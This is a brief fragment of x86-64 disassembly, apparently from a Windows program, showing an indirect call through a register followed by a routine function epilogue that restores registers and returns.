mov ecx, 0xffffffff
call rax
mov eax, 0
movups xmm6, xmmword [rbp + 0x740]
add rsp, 0x7d8
pop rbx
pop rsi
pop rdi
pop rbp
ret